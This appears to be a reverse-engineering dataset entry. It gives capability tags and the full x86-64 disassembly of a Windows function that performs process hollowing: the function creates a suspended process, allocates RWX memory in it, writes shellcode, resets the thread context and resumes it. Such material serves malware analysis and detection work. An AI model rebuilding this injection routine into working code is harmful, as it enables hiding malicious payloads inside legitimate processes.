Function at 0x5461b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Print debug messages
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
push rbx
sub rsp, 0x648
mov rbp, rsp
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xc0], 0
mov qword [rbp + 0x5b0], 0
mov qword [rbp + 0xc8], rbp
mov qword [rbp + 0x660], rcx
mov qword [rbp + 0x668], rdx
mov qword [rbp + 0x670], r8
mov dword [rbp + 0x678], r9d
mov eax, dword [rbp + 0x680]
mov dword [rbp + 0x680], eax
nop
lea rcx, [rbp + 0x5b0]
mov rdx, qword [rbp + 0x660]
lea r8, [0x005466e8]
call fcn.00410b50
lea rcx, [rbp + 0x5d0]
mov edx, 0x68
xor r8, r8
call fcn.0040b1f0
mov dword [rbp + 0x5d0], 0x68
mov dword [rbp + 0x60c], 1
movzx rax, word [rbp + 0x678]
mov word [rbp + 0x610], ax
call fcn.00545f00
nop
mov rcx, qword [rbp + 0x5b0]
call fcn.00410760
mov rbx, rax
lea rcx, [rbp + 0xc0]
mov rdx, qword [rbp + 0x660]
call fcn.0042fd80
mov rcx, qword [rbp + 0xc0]
call fcn.00410760
xor ecx, ecx
mov rdx, rbx
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x5d0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x5b8]
mov qword [rsp + 0x48], rax
call sub.kernel32.dll_CreateProcessW
test eax, eax
setne al
mov byte [rbp + 0x63f], al
nop
call fcn.00545e50
cmp byte [rbp + 0x63f], 0
je 0x546624
mov rax, qword [rbp + 0x660]
mov qword [rbp + 0x98], rax
mov byte [rbp + 0xa0], 0x11
mov eax, dword [rbp + 0x5c8]
mov dword [rbp + 0xa8], eax
mov byte [rbp + 0xb0], 0
lea rcx, [rbp + 0xb8]
lea rdx, [0x005466f8]
lea r8, [rbp + 0x98]
mov r9d, 1
call fcn.00430770
mov rcx, qword [rbp + 0xb8]
call fcn.00410760
mov rcx, rax
call sub.kernel32.dll_OutputDebugStringW
mov rcx, qword [rbp + 0x668]
mov rax, qword [rbp + 0x668]
mov rax, qword [rax]
call qword [rax]
mov rcx, qword [rbp + 0x5b8]
xor edx, edx
mov r8, rax
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call sub.kernel32.dll_VirtualAllocEx
mov qword [rbp + 0x5a8], rax
mov rcx, qword [rbp + 0x668]
mov rax, qword [rbp + 0x668]
mov rax, qword [rax]
call qword [rax]
mov rcx, qword [rbp + 0x5b8]
mov rdx, qword [rbp + 0x5a8]
mov r8, qword [rbp + 0x668]
mov r8, qword [r8 + 8]
mov r9, rax
lea rax, [rbp + 0x5a0]
mov qword [rsp + 0x20], rax
call sub.kernel32.dll_WriteProcessMemory
mov dword [rbp + 0x100], 0x10000b
mov rcx, qword [rbp + 0x5c0]
lea rdx, [rbp + 0xd0]
call sub.kernel32.dll_GetThreadContext
test eax, eax
jne 0x5464d9
call sub.kernel32.dll_GetLastError
lea rcx, [rbp + 0x78]
mov edx, eax
xor r8, r8
call fcn.00436fd0
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x80], rax
mov byte [rbp + 0x88], 0x11
lea rcx, [rbp + 0x90]
lea rdx, [0x00546724]
lea r8, [rbp + 0x80]
xor r9, r9
call fcn.00430770
mov rcx, qword [rbp + 0x670]
mov rdx, qword [rbp + 0x90]
call fcn.0040fa70
mov rax, qword [rbp + 0x670]
mov rax, qword [rax]
mov qword [rbp + 0x80], rax
mov byte [rbp + 0x88], 0x11
lea rcx, [rbp + 0x70]
lea rdx, [0x0054675c]
lea r8, [rbp + 0x80]
xor r9, r9
call fcn.00430770
mov rcx, qword [rbp + 0x70]
call fcn.00410760
mov rcx, rax
call sub.kernel32.dll_OutputDebugStringW
mov rcx, qword [rbp + 0x5b8]
mov edx, 1
call sub.kernel32.dll_TerminateProcess
jmp 0x546625
mov rax, qword [rbp + 0x5a8]
mov qword [rbp + 0x1c8], rax
mov rcx, qword [rbp + 0x5c0]
lea rdx, [rbp + 0xd0]
call sub.kernel32.dll_SetThreadContext
test eax, eax
jne 0x5465a7
call sub.kernel32.dll_GetLastError
lea rcx, [rbp + 0x60]
mov edx, eax
xor r8, r8
call fcn.00436fd0
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x80], rax
mov byte [rbp + 0x88], 0x11
lea rcx, [rbp + 0x68]
lea rdx, [0x00546778]
lea r8, [rbp + 0x80]
xor r9, r9
call fcn.00430770
mov rcx, qword [rbp + 0x670]
mov rdx, qword [rbp + 0x68]
call fcn.0040fa70
mov rax, qword [rbp + 0x670]
mov rax, qword [rax]
mov qword [rbp + 0x80], rax
mov byte [rbp + 0x88], 0x11
lea rcx, [rbp + 0x58]
lea rdx, [0x0054675c]
lea r8, [rbp + 0x80]
xor r9, r9
call fcn.00430770
mov rcx, qword [rbp + 0x58]
call fcn.00410760
mov rcx, rax
call sub.kernel32.dll_OutputDebugStringW
mov rcx, qword [rbp + 0x5b8]
mov edx, 1
call sub.kernel32.dll_TerminateProcess
jmp 0x546625
mov rcx, qword [rbp + 0x5c0]
call sub.kernel32.dll_ResumeThread
mov eax, dword [rbp + 0x5c8]
mov dword [rbp + 0x80], eax
mov byte [rbp + 0x88], 0
lea rcx, [rbp + 0x50]
lea rdx, [0x005467b0]
lea r8, [rbp + 0x80]
xor r9, r9
call fcn.00430770
mov rcx, qword [rbp + 0x50]
call fcn.00410760
mov rcx, rax
call sub.kernel32.dll_OutputDebugStringW
cmp dword [rbp + 0x680], 0
jbe 0x54660c
mov rcx, qword [rbp + 0x5b8]
mov edx, dword [rbp + 0x680]
call sub.kernel32.dll_WaitForSingleObject
mov rcx, qword [rbp + 0x5b8]
call sub.kernel32.dll_CloseHandle
mov rcx, qword [rbp + 0x5c0]
call sub.kernel32.dll_CloseHandle
nop
lea rcx, [rbp + 0x50]
mov edx, 6
call fcn.0040f4e0
lea rcx, [rbp + 0x90]
call fcn.0040f400
lea rcx, [rbp + 0xb8]
mov edx, 2
call fcn.0040f4e0
lea rcx, [rbp + 0x5b0]
call fcn.0040f400
movzx rax, byte [rbp + 0x63f]
lea rsp, [rbp + 0x648]
pop rbx
pop rbp
ret